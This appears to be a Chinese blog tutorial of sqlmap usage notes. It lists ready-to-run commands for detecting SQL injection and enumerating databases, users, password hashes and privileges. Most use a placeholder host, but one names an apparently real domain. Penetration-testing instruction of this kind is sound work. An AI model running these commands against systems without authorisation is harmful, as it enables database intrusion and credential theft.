渗透神器sqlmap的使用笔记

最新推荐文章于 2024-07-31 12:07:52 发布

煜铭2011

最新推荐文章于 2024-07-31 12:07:52 发布

阅读量8.7k

点赞数 1

分类专栏：应用安全文章标签： sql注入漏洞数据

本文链接：https://blog.csdn.net/qq_29277155/article/details/51149891

版权

应用安全专栏收录该内容

103 篇文章 18 订阅

订阅专栏

0x00前言

sqlmap是一款用来检测与利用SQL注入漏洞的免费开源工具，有一个非常棒的特性，即对检测与利用的自动化处理（数据库指纹、访问底层文件系统、执行命令）。该开源软件是国外大神的慷慨赠予。在乌云、补天等等漏洞公开平台，随处可见它的身影，也是渗透人员的必备神器。能够把这神器灵活运用，也是很厉害的一件事情。熟能生巧！！

下载地址：https://github.com/sqlmapproject/sqlmap#最快的使用，不过有点麻烦咯

集成环境：http://pan.baidu.com/s/1hssCKQS#Appie 里面安装了sqlmap

集成系统：https://www.kali.org/downloads/#kali-linux下安装有sqlmap

0x01 发现注入点

强调：sqlmap 并不擅长发现注入点，所以必须通过其他方式发现注入点。这些方式有：使用AWVS 进行漏扫、APPSCAN漏扫、burpsuite进行检测、手工挖掘（经验很重要），因为本文重点是介绍在发现注入点之后的工作，所以不对如何发现注入点进行详细介绍。我们需要使用txt文本来记录下注入点的地址和数据。作为后面参数的输入。

0x02 检测注入点

sqlmap -u "http://www.XXX.cn/ldxx/ldxx.php?pid=7" --random-agent

实践1 : 因为众多的原因，测试过程会出现很多的 “ [Y/n] ” 之类的提示。我们可以附加参数 --batch

sqlmap -u "http://www.XXX.cn/ldxx/ldxx.php?pid=7" --random-agent --batch

实践2 ：为了加快速度和增加检测的多样性

sqlmap -u "http://www.XXX.cn:80/ldxx/ldxx.php?pid=7" --data="item=1" --level=5 --risk=3 --ignore-proxy --delay=2 --timeout=60 --threads=6

实践3：进行表单数据注入

sqlmap -u "http://www.XXX.cn/admins" --forms

实践4：当我们进行手机服务端的注入时

sqlmap -u "http://www.ahujhc.cn:80/ldxx/ldxx.php?pid=7" --mobile --time-sec=30

实践5：使用文本导入数据

sqlmap -r E:\temporary\www.XXX.cn.txt --random-agent --batch --level=3 --risk=3 --timeout=60 --threads=3 --ignore-proxy --delay=2

0x03 暴力破解数据库名称和数目

sqlmap -u "http://www.XXX.cn/ldxx/ldxx.php?pid=7" --dbs --thread=3

实践1：可以附加的参数为： --union-cols=1-30 --union-char=NULL,CHAR

sqlmap -u "http://www.XXX.cn/ldxx/ldxx.php?pid=7" --dbs --thread=3 --union-cols=1-30 --union-char=NULL,CHAR

实践2：列出web当前使用的数据库

sqlmap -u "http://www.XXX.cn/ldxx/ldxx.php?pid=7" --current-db

实践3：尽可能详细的信息

sqlmap -u "http://www.XXX.cn/ldxx/ldxx.php?pid=7" -b --current-db --privileges --is-dba --current user --roles --users --hostname --passwords --comments -v 0